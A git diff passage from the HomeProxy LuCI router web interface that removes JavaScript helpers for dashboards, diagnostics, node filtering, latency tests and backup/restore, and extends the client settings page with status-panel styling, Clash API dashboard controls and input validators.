b/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/dashboard.js deleted file mode 100644 index 1709327b9..000000000 --- a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/dashboard.js +++ /dev/null @@ -1,105 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 面板入口 helper。 - */ - -'use strict'; -'require baseclass'; - -const DEFAULT_DASHBOARD_URL = 'https://metacubexd.pages.dev/#/overview'; -const DEFAULT_CONTROLLER = '127.0.0.1:9090'; -const DEFAULT_PROXY_LISTEN = '127.0.0.1:9091'; - -return baseclass.extend({ - parseController(value) { - let result = { - hostname: '', - port: '', - https: false - }; - - if (!value) - return result; - - try { - let url = new URL(value.match(/^https?:\/\//) ? value : 'http://' + value); - result.hostname = url.hostname; - result.port = url.port; - result.https = url.protocol === 'https:'; - } catch(e) { } - - return result; - }, - - deriveProxyController(value) { - let controller = this.parseController(value || DEFAULT_CONTROLLER); - - if (!controller.hostname) - return DEFAULT_PROXY_LISTEN; - - let hostname = controller.hostname.replace(/^\[(.*)\]$/, '$1'); - - return String.format('%s:9091', hostname.includes(':') ? '[' + hostname + ']' : hostname); - }, - - configuredUrl(uci, config) { - return uci.get(config, 'config', 'metacubexd_url') || DEFAULT_DASHBOARD_URL; - }, - - baseUrl(uci, config) { - let dashboard = this.configuredUrl(uci, config), - hash = dashboard.indexOf('#'); - - if (hash >= 0) - dashboard = dashboard.slice(0, hash); - - return dashboard.replace(/\/+$/, ''); - }, - - setupUrl(uci, config) { - let enabled = uci.get(config, 'config', 'clash_api_enabled') === '1', - target = uci.get(config, 'config', 'clash_api_external_controller') || DEFAULT_CONTROLLER, - proxy = uci.get(config, 'config', 'clash_api_proxy_external_controller') || this.deriveProxyController(target), - controller = this.parseController(proxy), - secret = uci.get(config, 'config', 'clash_api_secret') || ''; - - if (!enabled || !controller.hostname) - return null; - - let dashboard = this.configuredUrl(uci, config), - base = this.baseUrl(uci, config); - - if (dashboard.includes('yacd.metacubex.one')) - return dashboard; - - let params = new URLSearchParams(); - params.set('hostname', controller.hostname); - if (controller.port) - params.set('port', controller.port); - params.set(controller.https ? 'https' : 'http', '1'); - if (secret) - params.set('secret', secret); - - return base + '/#/setup?' + params.toString(); - }, - - renderButton(uci, config) { - let url = this.setupUrl(uci, config); - - if (!url) - return null; - - return E('span', { 'class': 'homeproxy-dashboard-action' }, [ - E('a', { - 'class': 'btn cbi-button cbi-button-action', - 'href': url, - 'target': '_blank', - 'rel': 'noreferrer noopener' - }, [ _('MetaCubeXD Dashboard') ]), - E('span', { - 'style': 'display:block;margin-top:.35em;color:var(--text-color-medium,#666);font-size:90%;' - }, _('When using the remote MetaCubeXD dashboard, the Clash API secret is provided to that web page. Use a self-hosted or local dashboard when stronger security is required.')) - ]); - } -}); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/diagnostics.js b/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/diagnostics.js deleted file mode 100644 index f0188c0d9..000000000 --- a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/diagnostics.js +++ /dev/null @@ -1,27 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 配置诊断 helper。 - */ - -'use strict'; -'require baseclass'; -'require rpc'; - -'require homeproxy as hp'; - -const callConfigDiagnostics = rpc.declare({ - object: 'luci.homeproxy_node_tools', - method: 'config_diagnostics', - expect: { '': {} } -}); - -return baseclass.extend({ - load() { - return L.resolveDefault(callConfigDiagnostics(), { result: true, items: [] }); - }, - - show(diagnostics) { - return hp.showConfigDiagnostics(diagnostics); - } -}); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/node-filter.js b/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/node-filter.js deleted file mode 100644 index 8b8f54a46..000000000 --- a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/node-filter.js +++ /dev/null @@ -1,90 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 节点正则预览 helper。 - */ - -'use strict'; -'require baseclass'; -'require dom'; -'require homeproxy as hp'; -'require rpc'; - -const callValidateRegex = rpc.declare({ - object: 'luci.homeproxy_node_tools', - method: 'validate_regex', - params: ['pattern'], - expect: { '': {} } -}); - -const callPreviewNodeFilter = rpc.declare({ - object: 'luci.homeproxy_node_tools', - method: 'preview_node_filter', - params: ['manual_nodes', 'node_filter', 'node_filter_exclude', 'node'], - expect: { '': {} } -}); - -return baseclass.extend({ - normalizeNodeList(value) { - let nodes = []; - - for (let node_id of hp.toArray(value)) - if (node_id && !nodes.includes(node_id)) - nodes.push(node_id); - - return nodes; - }, - - validate(pattern) { - return L.resolveDefault(callValidateRegex(pattern), { result: false, error: _('Unknown error.') }); - }, - - preview(manual_nodes, node_filter, node_filter_exclude, node) { - return L.resolveDefault(callPreviewNodeFilter( - manual_nodes, - node_filter, - node_filter_exclude, - node - ), { result: false, error: _('Unknown error.') }); - }, - - setPreviewVisible(container, visible) { - let row = container.closest('.cbi-value'); - if (row) - row.style.display = visible ? '' : 'none'; - }, - - renderPreview(container, res, nodeName) { - if (!res.result) { - let message = _('Expecting: %s').format(_('valid regular expression')); - if (res.error) - message += ': ' + res.error; - - dom.content(container, E('em', { 'style': 'color: #a33' }, message)); - return; - } - - let nodes = this.normalizeNodeList(res.nodes); - - if (!nodes.length) { - dom.content(container, E('em', {}, _('No effective nodes.'))); - return; - } - - let content = []; - if (res.truncated) - content.push(E('div', { 'style': 'color: #a66; margin-bottom: .35em;' }, - _('Only the first %d effective nodes are shown. Narrow the regex to avoid generating an oversized node group.').format(res.max_result_nodes || nodes.length))); - if (res.scan_truncated) - content.push(E('div', { 'style': 'color: #a66; margin-bottom: .35em;' }, - _('Regex matching stopped after scanning %d nodes. Narrow the regex or reduce subscription size.').format(res.max_scan_nodes || 0))); - - content.push(E('ul', { - 'style': 'margin: 0; padding-left: 1.4em; max-height: 28em; overflow: auto;' - }, nodes.map((node_id) => E('li', { - 'title': node_id - }, nodeName(node_id))))); - - dom.content(container, content); - } -}); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/routing-node.js b/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/routing-node.js deleted file mode 100644 index d3293d0ae..000000000 --- a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/routing-node.js +++ /dev/null @@ -1,104 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 路由节点前端 helper。 - */ - -'use strict'; -'require baseclass'; -'require uci'; - -return baseclass.extend({ - routingNodeName(res) { - let type = _('Routing node'); - if (res.node === 'urltest') - type = _('URLTest'); - else if (res.node === 'selector') - type = _('Selector'); - - return String.format('[%s] %s', type, res.label || res['.name']); - }, - - buildRoutingNodeNames(uci_config) { - let names = {}; - - uci.sections(uci_config, 'routing_node', (res) => { - names[res['.name']] = this.routingNodeName(res); - }); - - return names; - }, - - addSelectableOutbounds(option, uci_config, proxy_nodes, section_id, include_routing_nodes) { - for (let i in proxy_nodes) - option.value(i, proxy_nodes[i]); - - if (!include_routing_nodes) - return; - - uci.sections(uci_config, 'routing_node', (res) => { - if (res.enabled === '1' && res['.name'] !== section_id) - option.value(res['.name'], this.routingNodeName(res)); - }); - }, - - nodeDisplayName(node_id, proxy_nodes, routing_node_names) { - return proxy_nodes[node_id] || routing_node_names[node_id] || node_id; - }, - - toArray(value) { - if (!value) - return []; - return Array.isArray(value) ? value : [ value ]; - }, - - routingNodeEdges(res) { - let edges = []; - - if (res.node === 'selector') { - edges = edges.concat(this.toArray(res.selector_nodes)); - edges = edges.concat(this.toArray(res.selector_default)); - } else if (res.node === 'urltest') { - edges = edges.concat(this.toArray(res.urltest_nodes)); - } else { - edges = edges.concat(this.toArray(res.node)); - } - - return edges.concat(this.toArray(res.outbound)); - }, - - selectorHasPath(uci_config, start, target, path_cache, seen) { - if (!start || !target) - return false; - if (start === target) - return true; - - let key = start + '->' + target; - if (path_cache[key] !== undefined) - return path_cache[key]; - - if (seen[start]) - return false; - - seen[start] = true; - - let found = false; - uci.sections(uci_config, 'routing_node', (res) => { - if (found || res['.name'] !== start) - return; - - if (res.enabled !== '1' || !res.node) - return; - - for (let node_id of this.routingNodeEdges(res)) { - if (node_id === target || this.selectorHasPath(uci_config, node_id, target, path_cache, seen)) { - found = true; - return; - } - } - }); - - path_cache[key] = found; - return found; - } -}); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/tcping.js b/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/tcping.js deleted file mode 100644 index ffe8e9454..000000000 --- a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/tcping.js +++ /dev/null @@ -1,339 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 节点测速前端 helper。 - */ - -'use strict'; -'require baseclass'; -'require rpc'; -'require ui'; - -const MAX_NODES = 300; -const HELP_TEXT = _('Speed tests use the current runtime configuration. To test all nodes, add them to a running node group with a node regex such as .*'); -const running = {}; - -const callNodesTcping = rpc.declare({ - object: 'luci.homeproxy_tcping', - method: 'nodes_tcping', - params: [ 'sections' ], - expect: { '': {} } -}); - -const callNodeTcping = rpc.declare({ - object: 'luci.homeproxy_tcping', - method: 'node_tcping', - params: [ 'section' ], - expect: { '': {} } -}); - -function replaceElementContent(el, content) { - if (!el) - return; - - while (el.firstChild) - el.removeChild(el.firstChild); - - if (Array.isArray(content)) { - for (let node of content) - el.appendChild((typeof node === 'string') ? document.createTextNode(node) : node); - } else { - el.appendChild((typeof content === 'string') ? document.createTextNode(content) : content); - } -} - -function svgElement(tag, attrs, children) { - let el = document.createElementNS('http://www.w3.org/2000/svg', tag); - - for (let key in (attrs || {})) - el.setAttribute(key, attrs[key]); - - for (let child of (children || [])) - el.appendChild(child); - - return el; -} - -function renderSpeedtestIcon(extra_class) { - return svgElement('svg', { - 'xmlns': 'http://www.w3.org/2000/svg', - 'width': '18', - 'height': '18', - 'viewBox': '0 0 24 24', - 'fill': 'none', - 'stroke': 'currentColor', - 'stroke-width': '2', - 'stroke-linecap': 'round', - 'stroke-linejoin': 'round', - 'class': extra_class || '' - }, [ - svgElement('path', { 'd': 'M5.636 19.364a9 9 0 1 1 12.728 0' }), - svgElement('path', { 'd': 'M16 9l-4 4' }) - ]); -} - -function renderSpinner() { - return E('span', { 'class': 'homeproxy-tcping-spinner' }); -} - -function setButtonIcon(btn, busy) { - if (!btn) - return; - - replaceElementContent(btn, renderSpeedtestIcon(busy ? 'homeproxy-tcping-icon homeproxy-tcping-icon-busy' : 'homeproxy-tcping-icon')); -} - -function nodeId(section_id) { - return 'homeproxy-node-tcping-' + String(section_id).replace(/[^A-Za-z0-9_-]/g, (c) => - '_' + c.charCodeAt(0).toString(16) + '_'); -} - -function ensureStyle() { - if (document.getElementById('homeproxy-tcping-style')) - return; - - document.head.appendChild(E('style', { 'id': 'homeproxy-tcping-style' }, ` -@keyframes homeproxy-tcping-spin { to { transform: rotate(360deg); } } -@keyframes homeproxy-tcping-pulse { 50% { opacity: .45; } } -.homeproxy-tcping-button { - width: 36px; - min-width: 36px; - height: 36px; - padding: 0; - display: inline-flex; - align-items: center; - justify-content: center; - line-height: 1; -} -.homeproxy-tcping-icon { - width: 18px; - height: 18px; -} -.homeproxy-tcping-icon-busy { - animation: homeproxy-tcping-pulse 1s ease-in-out infinite; -} -.homeproxy-latency-pill { - display: inline-flex; - align-items: center; - justify-content: center; - min-width: 4.8em; - min-height: 1.7em; - padding: .16em .55em; - border-radius: 6px; - cursor: pointer; - font-variant-numeric: tabular-nums; - line-height: 1.3; - user-select: none; - transition: background-color .15s ease, transform .15s ease; -} -.homeproxy-latency-pill:hover { - background-color: rgba(128, 128, 128, .14); - transform: scale(1.04); -} -.homeproxy-latency-pill:active { - transform: scale(.96); -} -.homeproxy-latency-pill.homeproxy-tcping-busy { - color: gray !important; -} -.homeproxy-tcping-spinner { - width: 1em; - height: 1em; - border: 2px solid currentColor; - border-top-color: transparent; - border-radius: 999px; - animation: homeproxy-tcping-spin .8s linear infinite; -} -`)); -} - -function formatTestedAt(result) { - let tested_at = result?.tested_at; - if (!tested_at) - return ''; - - try { - return _('Tested at: %s').format(new Date(tested_at * 1000).toLocaleString()); - } catch (e) { - return ''; - } -} - -function setResult(section_id, text, color, title) { - let el = document.getElementById(nodeId(section_id)); - - if (!el) - return false; - - replaceElementContent(el, text); - el.title = title || ''; - el.style.setProperty('color', color || ''); - el.classList.remove('homeproxy-tcping-busy'); - el.setAttribute('aria-busy', 'false'); - - return true; -} - -function setBusy(section_id) { - let el = document.getElementById(nodeId(section_id)); - - if (!el) - return false; - - replaceElementContent(el, renderSpinner()); - el.title = _('Testing...'); - el.classList.add('homeproxy-tcping-busy'); - el.setAttribute('aria-busy', 'true'); - - return true; -} - -function renderResult(section_id, result) { - let target = result?.target || '', - error = result?.error || '', - tested_at = formatTestedAt(result), - title = [ target, error, tested_at ].filter((v) => v).join('\n'); - - switch (result?.status) { - case 'ok': - setResult(section_id, '%d ms'.format(result.delay), 'green', title); - break; - case 'timeout': - setResult(section_id, _('Timeout'), 'red', title); - break; - case 'unsupported': - setResult(section_id, _('Unsupported'), 'gray', title); - break; - case 'invalid': - setResult(section_id, _('No address'), 'red', title); - break; - case 'missing': - setResult(section_id, _('Missing'), 'red', title); - break; - case 'skipped': - setResult(section_id, _('Skipped'), 'gray', title); - break; - case 'unloaded': - setResult(section_id, _('Not loaded'), 'gray', title); - break; - default: - setResult(section_id, _('Failed'), 'red', title); - break; - } - - return true; -} - -function runSingle(section_id, notices) { - return L.resolveDefault(callNodeTcping(section_id), {}).then((res) => { - if (!res.result) { - let message = res.error || _('Connectivity test failed.'); - renderResult(section_id, { status: 'failed', error: message }); - notices[message] = true; - return; - } - - if (res.warning) - notices[res.warning] = true; - - renderResult(section_id, res.node); - }).catch((err) => { - let message = err.message || String(err); - renderResult(section_id, { status: 'failed', error: message }); - notices[message] = true; - }); -} - -return baseclass.extend({ - helpText: HELP_TEXT, - - nodeId: nodeId, - ensureStyle: ensureStyle, - renderIcon: renderSpeedtestIcon, - - runNode(section_id, ev) { - let notices = {}; - - if (ev) { - ev.preventDefault(); - ev.stopPropagation(); - } - - if (running[section_id]) - return Promise.resolve(); - - running[section_id] = true; - setBusy(section_id); - - return runSingle(section_id, notices).then(() => { - for (let message in notices) - ui.addNotification(null, E('p', message)); - }).finally(() => { - running[section_id] = false; - }); - }, - - runNodes(section_ids, ev) { - let btn = ev?.currentTarget || ev?.target, - test_sections = section_ids.slice(0, MAX_NODES), - skipped_sections = section_ids.slice(MAX_NODES), - notices = {}; - - if (!section_ids.length) { - ui.addNotification(null, E('p', _('No testable nodes.'))); - return Promise.resolve(); - } - - let visible = 0; - - for (let section_id of test_sections) { - if (setBusy(section_id)) - visible++; - } - for (let section_id of skipped_sections) - renderResult(section_id, { - status: 'skipped', - error: _('At most %d nodes can be tested at once.').format(MAX_NODES) - }); - - if (!visible) - ui.addNotification(null, E('p', _('No latency column was found on this page. Force-refresh the page and try again.'))); - - if (btn) { - btn.disabled = true; - setButtonIcon(btn, true); - } - - return L.resolveDefault(callNodesTcping(test_sections), {}).then((res) => { - if (!res.result) - throw new Error(res.error || _('Connectivity test failed.')); - - if (res.warning) - notices[res.warning] = true; - - let nodes = res.nodes || {}; - for (let section_id of test_sections) - renderResult(section_id, nodes[section_id]); - }).catch((err) => { - let message = err.message || String(err); - - for (let section_id of test_sections) - renderResult(section_id, { status: 'failed', error: message }); - - notices[message] = true; - }).then(() => { - for (let message in notices) - ui.addNotification(null, E('p', message)); - }).then(() => { - if (skipped_sections.length) { - let message = _('Skipped %d nodes. At most %d nodes can be tested at once.').format(skipped_sections.length, MAX_NODES); - ui.addNotification(null, E('p', message)); - } - - if (btn) { - btn.disabled = false; - setButtonIcon(btn, false); - } - }); - } -}); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/backup.js b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/backup.js deleted file mode 100644 index c77f67403..000000000 --- a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/backup.js +++ /dev/null @@ -1,221 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * Copyright (C) 2026 HomeProxy Custom - */ - -'use strict'; -'require fs'; -'require rpc'; -'require ui'; -'require view'; - -// 当前页面会话里的动态路径状态 -let currentBackupPath = null; -let currentRestorePath = null; - -const callBackupCreate = rpc.declare({ - object: 'luci.homeproxy_backup', - method: 'backup_create', - expect: { '': {} } -}); - -const callBackupGetUploadPath = rpc.declare({ - object: 'luci.homeproxy_backup', - method: 'backup_get_upload_path', - expect: { '': {} } -}); - -const callBackupCleanup = rpc.declare({ - object: 'luci.homeproxy_backup', - method: 'backup_cleanup', - params: ['path'], - expect: { '': {} } -}); - -const callBackupValidate = rpc.declare({ - object: 'luci.homeproxy_backup', - method: 'backup_validate', - params: ['path'], - expect: { '': {} } -}); - -const callBackupRestore = rpc.declare({ - object: 'luci.homeproxy_backup', - method: 'backup_restore', - params: ['path'], - expect: { '': {} } -}); - -function downloadFile(path, filename) { - return fs.read_direct(path, 'blob').then((blob) => { - const url = window.URL.createObjectURL(blob); - let a = document.createElement('a'); - - a.style.display = 'none'; - a.href = url; - a.download = filename; - document.body.appendChild(a); - a.click(); - window.setTimeout(() => { - a.remove(); - window.URL.revokeObjectURL(url); - }, 100); - }); -} - -function renderFileList(files) { - if (!files || !files.length) - return E('em', _('No files.')); - - return E('ul', {}, files.map((file) => E('li', {}, file))); -} - -function setButtonText(btn, text) { - if (btn && btn.firstChild) - btn.firstChild.data = text; -} - -return view.extend({ - handleCreateBackup(ev) { - const btn = ev.currentTarget || ev.target; - - setButtonText(btn, _('Generating backup file...')); - - return L.resolveDefault(callBackupCreate(), {}).then((res) => { - if (!res.result) - throw new Error(res.error || _('Failed to generate backup file.')); - - // 记录后端生成的备份路径,供浏览器下载 - currentBackupPath = res.download_path || res.path; - if (!currentBackupPath) - throw new Error(_('Backup file path was not returned.')); - - const filename = 'homeproxy-backup-%s.tar.gz'.format((new Date()).toISOString().replace(/[:.]/g, '-')); - - return downloadFile(currentBackupPath, filename).then(() => { - ui.addNotification(null, E('p', _('Backup file has been generated and download has started.')), 'info'); - // 下载后清理后端临时备份文件,避免证书和私钥留在 /tmp - return L.resolveDefault(callBackupCleanup(currentBackupPath), {}); - }); - }).catch((err) => { - ui.addNotification(null, E('p', err.message || err)); - }).finally(() => { - setButtonText(btn, _('Generate backup file')); - }); - }, - - handleUploadRestore(ev) { - const btn = ev.currentTarget || ev.target; - - setButtonText(btn, _('Uploading backup file...')); - - // 先向后端申请本次上传路径 - return L.resolveDefault(callBackupGetUploadPath(), {}).then((res) => { - if (!res.upload_path) - throw new Error(_('Failed to get upload path')); - - currentRestorePath = res.upload_path; - - return ui.uploadFile(currentRestorePath); - }).then(() => { - setButtonText(btn, _('Checking backup file...')); - return L.resolveDefault(callBackupValidate(currentRestorePath), {}); - }).then((res) => { - if (!res.valid) - throw new Error(res.error || _('The uploaded backup file is invalid.')); - - ui.showModal(_('Restore HomeProxy backup?'), [ - E('p', _('The uploaded backup file contains the following HomeProxy source configuration. Restoring it will overwrite the current HomeProxy settings, custom direct/proxy lists, and uploaded certificates and private keys.')), - renderFileList(res.files), - E('div', { 'class': 'right' }, [ - E('button', { - 'class': 'btn', - 'click': ui.createHandlerFn(this, () => { - return L.resolveDefault(callBackupCleanup(currentRestorePath), {}).finally(ui.hideModal); - }) - }, [ _('Cancel') ]), - ' ', - E('button', { - 'class': 'btn cbi-button-action important', - 'click': ui.createHandlerFn(this, 'handleRestoreConfirm') - }, [ _('Continue') ]) - ]) - ]); - }).catch((err) => { - ui.addNotification(null, E('p', err.message || err)); - return L.resolveDefault(callBackupCleanup(currentRestorePath), {}); - }).finally(() => { - setButtonText(btn, _('Upload backup file...')); - }); - }, - - handleRestoreConfirm() { - ui.showModal(_('Restoring HomeProxy backup...'), [ - E('p', { 'class': 'spinning' }, _('Applying backup file and restarting HomeProxy.')) - ]); - - return L.resolveDefault(callBackupRestore(currentRestorePath), {}).then((res) => { - if (!res.result) - throw new Error(res.error || _('Restore failed.')); - - ui.showModal(_('Restore complete'), [ - E('p', _('HomeProxy configuration has been restored and the service has restarted.')), - E('p', _('The rollback archive for the previous HomeProxy configuration has been saved to %s.').format(res.rollback || '/tmp/homeproxy-rollback.tar.gz')), - renderFileList(res.files), - E('div', { 'class': 'right' }, - E('button', { 'class': 'btn', 'click': ui.hideModal }, [ _('Close') ]) - ) - ]); - }).catch((err) => { - ui.addNotification(null, E('p', err.message || err)); - ui.hideModal(); - }); - }, - - render() { - const readonly = !L.hasViewPermission(); - - return E('div', { 'class': 'cbi-map' }, [ - E('h2', {}, _('HomeProxy configuration backup / restore')), - E('div', { 'class': 'cbi-map-descr' }, - _('Export and import HomeProxy source configuration to fully restore WebUI settings after reinstallation.')), - - E('div', { 'class': 'cbi-section' }, [ - E('h3', {}, _('Backup')), - E('div', { 'class': 'cbi-section-descr' }, - _('Download a tar.gz backup containing /etc/config/homeproxy, custom direct/proxy lists, and uploaded certificates and private keys. The backup contains plaintext private keys; keep it safe and avoid transmitting or storing it through untrusted channels. Restore only verifies file integrity (SHA-256 manifest), not source authenticity.')), - E('div', { 'class': 'cbi-value' }, [ - E('label', { 'class': 'cbi-value-title' }, _('Download backup')), - E('div', { 'class': 'cbi-value-field' }, [ - E('button', { - 'class': 'btn cbi-button cbi-button-action important', - 'disabled': readonly || null, - 'click': ui.createHandlerFn(this, 'handleCreateBackup') - }, [ _('Generate backup file') ]) - ]) - ]) - ]), - - E('div', { 'class': 'cbi-section' }, [ - E('h3', {}, _('Restore')), - E('div', { 'class': 'cbi-section-descr' }, - _('Upload a HomeProxy backup file and overwrite the current HomeProxy source configuration. A rollback archive is saved automatically before restore.')), - E('div', { 'class': 'cbi-value' }, [ - E('label', { 'class': 'cbi-value-title' }, _('Restore backup')), - E('div', { 'class': 'cbi-value-field' }, [ - E('button', { - 'class': 'btn cbi-button cbi-button-action important', - 'disabled': readonly || null, - 'click': ui.createHandlerFn(this, 'handleUploadRestore') - }, [ _('Upload backup file...') ]) - ]) - ]) - ]) - ]); - }, - - handleSaveApply: null, - handleSave: null, - handleReset: null -}); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/client.js b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/client.js index e2e958cbc..8d9226b0c 100644 --- a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/client.js +++ b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/client.js @@ -5,20 +5,16 @@ */ 'use strict'; -'require dom'; 'require form'; 'require network'; 'require poll'; 'require rpc'; 'require uci'; +'require ui'; 'require validation'; 'require view'; 'require homeproxy as hp'; -'require homeproxy.dashboard as hpDashboard'; -'require homeproxy.diagnostics as hpDiagnostics'; -'require homeproxy.node-filter as hpNodeFilter'; -'require homeproxy.routing-node as hpRoutingNode'; 'require tools.firewall as fwtool'; 'require tools.widgets as widgets'; @@ -29,6 +25,13 @@ const callServiceList = rpc.declare({ expect: { '': {} } }); +const callRCInit = rpc.declare({ + object: 'rc', + method: 'init', + params: ['name', 'action'], + expect: { '': {} } +}); + const callReadDomainList = rpc.declare({ object: 'luci.homeproxy', method: 'acllist_read', @@ -43,6 +46,89 @@ const callWriteDomainList = rpc.declare({ expect: { '': {} } }); +const callCurrentNode = rpc.declare({ + object: 'luci.homeproxy', + method: 'current_node_get', + expect: { '': {} } +}); + +const callPackageVersion = rpc.declare({ + object: 'luci.homeproxy', + method: 'package_get_version', + expect: { '': {} } +}); + +const callUpdatePanel = rpc.declare({ + object: 'luci.homeproxy', + method: 'clash_api_update_panel', + expect: { '': {} } +}); + +const statusCss = ` +#homeproxy_status_panel { + margin-bottom: 1rem; +} +#homeproxy_status_panel .homeproxy-status-grid { + display: grid; + grid-template-columns: repeat(3, minmax(0, 1fr)) auto; + gap: 10px; + align-items: center; +} +#homeproxy_status_panel .homeproxy-status-field { + min-width: 0; +} +#homeproxy_status_panel .homeproxy-status-label { + font-weight: 600; + text-align: center; + margin-bottom: 6px; +} +#homeproxy_status_panel input { + width: 100%; + min-width: 0; +} +#homeproxy_status_panel .homeproxy-version-field input { + width: 100%; +} +#homeproxy_status_panel .homeproxy-core-version-field input { + width: 100%; +} +#homeproxy_status_panel .homeproxy-core-status-field input { + width: 100%; + text-align: center; +} +#homeproxy_status_panel .homeproxy-core-status { + border: unset; + font-style: italic; + font-weight: 700; +} +#homeproxy_status_panel .homeproxy-status-actions { + display: flex; + flex-wrap: nowrap; + gap: 6px; + align-items: center; + justify-content: flex-end; + min-width: 0; +} +#homeproxy_status_panel .homeproxy-status-actions .btn { + width: auto; + min-width: 0; + padding-left: 6px; + padding-right: 6px; + white-space: nowrap; +} +@media (max-width: 700px) { + #homeproxy_status_panel .homeproxy-status-grid { + grid-template-columns: 1fr; + } + #homeproxy_status_panel .homeproxy-status-actions { + flex-wrap: wrap; + justify-content: flex-start; + } + #homeproxy_status_panel .homeproxy-status-actions .btn { + flex: 1 1 auto; + } +}`; + function getServiceStatus() { return L.resolveDefault(callServiceList('homeproxy'), {}).then((res) => { let isRunning = false; @@ -53,15 +139,253 @@ function getServiceStatus() { }); } -function renderStatus(isRunning, version) { - let spanTemp = '%s (sing-box v%s) %s'; - let renderHTML; - if (isRunning) - renderHTML = spanTemp.format('green', _('HomeProxy'), version, _('RUNNING')); - else - renderHTML = spanTemp.format('red', _('HomeProxy'), version, _('NOT RUNNING')); +function updateCoreStatus(isRunning, currentNode) { + let status = document.getElementById('homeproxy_core_status'); + if (!status) + return; - return renderHTML; + status.style.color = isRunning ? 'green' : 'red'; + status.value = currentNode ? _('Running: %s').format(currentNode) : (isRunning ? _('Running') : _('Not Running')); +} + +function parseControllerPort(externalController) { + let value = externalController || '127.0.0.1:9090'; + let idx = value.lastIndexOf(':'); + return (idx >= 0) ? value.substring(idx + 1) : '9090'; +} + +function getClashApiInfo() { + let port = parseControllerPort(uci.get('homeproxy', 'clash_api', 'external_controller')), + secret = uci.get('homeproxy', 'clash_api', 'secret') || ''; + + return { + port, + secret, + baseUrl: 'http://' + window.location.hostname + ':' + port + }; +} + +function updateDashboard() { + return callUpdatePanel().then((res) => { + if (!res?.result) { + let message = res?.error; + if (message === 'update_panel_failed') + message = _('Update panel failed.'); + else if (message === 'clash_api_unavailable') + message = _('Clash API unavailable.'); + else if (message === 'panel_backup_failed') + message = _('Backup panel failed.'); + else if (message === 'panel_restore_failed') + message = _('Restore panel failed.'); + + throw new Error(message || _('Update failed.')); + } + ui.addNotification(null, E('p', _('Successfully updated.')), 'info'); + }).catch((err) => { + ui.addNotification(null, E('p', err.message || err), 'danger'); + }); +} + +function openDashboard() { + let api = getClashApiInfo(); + let query = new URLSearchParams({ + host: window.location.hostname, + hostname: window.location.hostname, + port: api.port, + secret: api.secret + }).toString(); + + window.open(api.baseUrl + '/ui/?' + query, '_blank'); + return Promise.resolve(); +} + +function normalizeRuleSetSectionId(tag) { + return 'ruleset_' + tag.replace(/[^A-Za-z0-9_]/g, '_').replace(/^_+|_+$/g, ''); +} + +function getDnsServerDefaultPort(type) { + switch (type) { + case 'udp': + case 'tcp': + return '53'; + case 'tls': + case 'quic': + return '853'; + case 'https': + case 'h3': + return '443'; + default: + return 'auto'; + } +} + +function getDnsServerAddressPlaceholder(type) { + switch (type) { + case 'https': + case 'h3': + return ''; + case 'tls': + case 'quic': + return 'dns.alidns.com'; + default: + return ''; + } +} + +function validateDnsServerAddress(type, value) { + if (!value) + return false; + + if (value.includes('://')) { + if (!['https', 'h3'].includes(type)) + return false; + + try { + let url = new URL(value); + if (url.protocol !== 'https:') + return false; + + value = url.hostname; + } catch (e) { + return false; + } + } + + return stubValidator.apply('hostname', value) || + stubValidator.apply('ip4addr', value) || + stubValidator.apply('ip6addr', value.match(/^\[(.+)\]$/)?.[1] || value); +} + +function validateDuration(value) { + return !value || /^[1-9]\d*(ms|s|m|h|d)$/.test(value); +} + +function validateUpdateCron(value) { + if (!value) + return true; + + const matched = String(value).trim().match(/^(\d{1,2})\s+(\d{1,2})\s+\*\s+\*\s+([0-7*])$/); + if (!matched) + return false; + + return +matched[1] <= 59 && +matched[2] <= 23; +} + +function translateKnownError(error) { + let name = error?.name || '', + message = error?.message || error || ''; + + if (name === 'TypeError' && String(message).match(/can't convert null to object|Cannot convert undefined or null to object/i)) + return _('Type error') + '\n' + _('Cannot convert null to object.'); + + return null; +} + +function installKnownErrorTranslator() { + if (window.__homeproxyKnownErrorTranslator) + return; + + window.__homeproxyKnownErrorTranslator = true; + + window.addEventListener('error', (ev) => { + let message = translateKnownError(ev.error || ev.message); + if (message) { + ev.preventDefault(); + ui.addNotification(null, E('p', message), 'danger'); + } + }, true); + + window.addEventListener('unhandledrejection', (ev) => { + let message = translateKnownError(ev.reason); + if (message) { + ev.preventDefault(); + ui.addNotification(null, E('p', message), 'danger'); + } + }, true); +} + +function renderRuleSetAdd(section, extra_class) { + let el = form.GridSection.prototype.renderSectionAdd.apply(section, [ extra_class ]), + nameEl = el.querySelector('.cbi-section-create-name'), + button = el.querySelector('.cbi-section-create > .cbi-button-add'), + uciconfig = section.uciconfig || section.map.config; + + let tagEl = E('input', { + 'type': 'text', + 'class': nameEl.className + }); + let hintEl = E('div', { 'class': 'cbi-value-description' }); + + nameEl.style.display = 'none'; + nameEl.parentNode.insertBefore(tagEl, nameEl); + nameEl.parentNode.appendChild(hintEl); + button.disabled = true; + + let syncSectionName = () => { + let tag = 